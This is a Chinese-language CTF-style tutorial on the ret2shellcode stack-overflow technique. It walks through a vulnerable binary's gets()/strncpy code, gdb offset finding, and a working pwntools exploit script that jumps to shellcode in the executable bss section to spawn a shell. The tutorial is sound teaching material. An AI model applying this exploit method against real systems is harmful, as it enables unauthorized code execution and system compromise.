0x 01 Ret2Shellcode原理
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell
Shellcode获取的两种方式:自己收集和pwntools自带
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
示意图
先写入具有攻击性的汇编片段(shellcode)到栈中,然后劫持程序跳转到shellcode的入口处执行
0x 02 实例分析
main函数伪代码
1 2 3 4 5 6 7 8 9 10 11 12
| int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); //setvbuf用于内存优化 puts("No system for you this time !!!"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }
|
main函数汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 0x0804852d <+0>: push ebp 0x0804852e <+1>: mov ebp,esp 0x08048530 <+3>: and esp,0xfffffff0 0x08048533 <+6>: add esp,0xffffff80 0x08048536 <+9>: mov eax,ds:0x804a060 0x0804853b <+14>: mov DWORD PTR [esp+0xc],0x0 0x08048543 <+22>: mov DWORD PTR [esp+0x8],0x2 0x0804854b <+30>: mov DWORD PTR [esp+0x4],0x0 0x08048553 <+38>: mov DWORD PTR [esp],eax 0x08048556 <+41>: call 0x8048410 <setvbuf@plt> 0x0804855b <+46>: mov eax,ds:0x804a040 0x08048560 <+51>: mov DWORD PTR [esp+0xc],0x0 0x08048568 <+59>: mov DWORD PTR [esp+0x8],0x1 0x08048570 <+67>: mov DWORD PTR [esp+0x4],0x0 0x08048578 <+75>: mov DWORD PTR [esp],eax 0x0804857b <+78>: call 0x8048410 <setvbuf@plt> 0x08048580 <+83>: mov DWORD PTR [esp],0x8048660 0x08048587 <+90>: call 0x80483e0 <puts@plt> 0x0804858c <+95>: lea eax,[esp+0x1c] 0x08048590 <+99>: mov DWORD PTR [esp],eax 0x08048593 <+102>: call 0x80483d0 <gets@plt> 0x08048598 <+107>: mov DWORD PTR [esp+0x8],0x64 0x080485a0 <+115>: lea eax,[esp+0x1c] 0x080485a4 <+119>: mov DWORD PTR [esp+0x4],eax 0x080485a8 <+123>: mov DWORD PTR [esp],0x804a080 0x080485af <+130>: call 0x8048420 <strncpy@plt> 0x080485b4 <+135>: mov DWORD PTR [esp],0x8048680 0x080485bb <+142>: call 0x80483c0 <printf@plt> 0x080485c0 <+147>: mov eax,0x0 0x080485c5 <+152>: leave 0x080485c6 <+153>: ret
|
分析strncpy函数的目录字符串地址是0x804a080,运行readelf -S xxx查看bss段位置
是一个BSS段,如果可以我们讲shellcode放到bss段中,然后将函数的返回值改为0x804a080,现在还缺少一个条件,就是bss段0x804a080是否有执行权限,我们断点调试下:
执行b main 进行断点
执行r 运行程序
执行vmmap查看是否有执行权限
0x804a080的区间是在标红的0x0804a000到0x0804b000,有x执行权限
第二步:查找程序溢出的偏移量
重新执行gdb ./ret2shellcode命令加载程序
执行pattern create 200创建字符串
执行 r运行
输入刚才创建的字符串
得到0x41384141地址,我们使用pattern offset 0x41384141来查看偏移,得到112偏移量
1 2 3 4 5 6 7 8 9
| 标准库函数strncpy(),可以将一字符串的一部分拷贝到另一个字符串中。
strncpy()函数有3个参数:
1.参数是目录字符串。
2.参数是源字符串;
3.参数是一个整数。代表要从源字符串拷贝到目标字符串中的字符数。
|
exp:
1 2 3 4 5 6 7 8 9
| from pwn import * context(arch = 'i386', os = 'linux') p = process("./ret2shellcode") shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(112,'a')+p32(0x804a080) //填充偏移量 p.sendline(payload) p.interactive()
直接覆盖了main函数的返回地址到0x804a080执行shellcode
|
参考链接:
1 2 3 4
| 缓冲区溢出-基本ROP-ret2shellcode: https://blog.51cto.com/11797152/2379738?source=dra pwntools使用简介2: https://www.cnblogs.com/liuyimin/p/7379985.html
|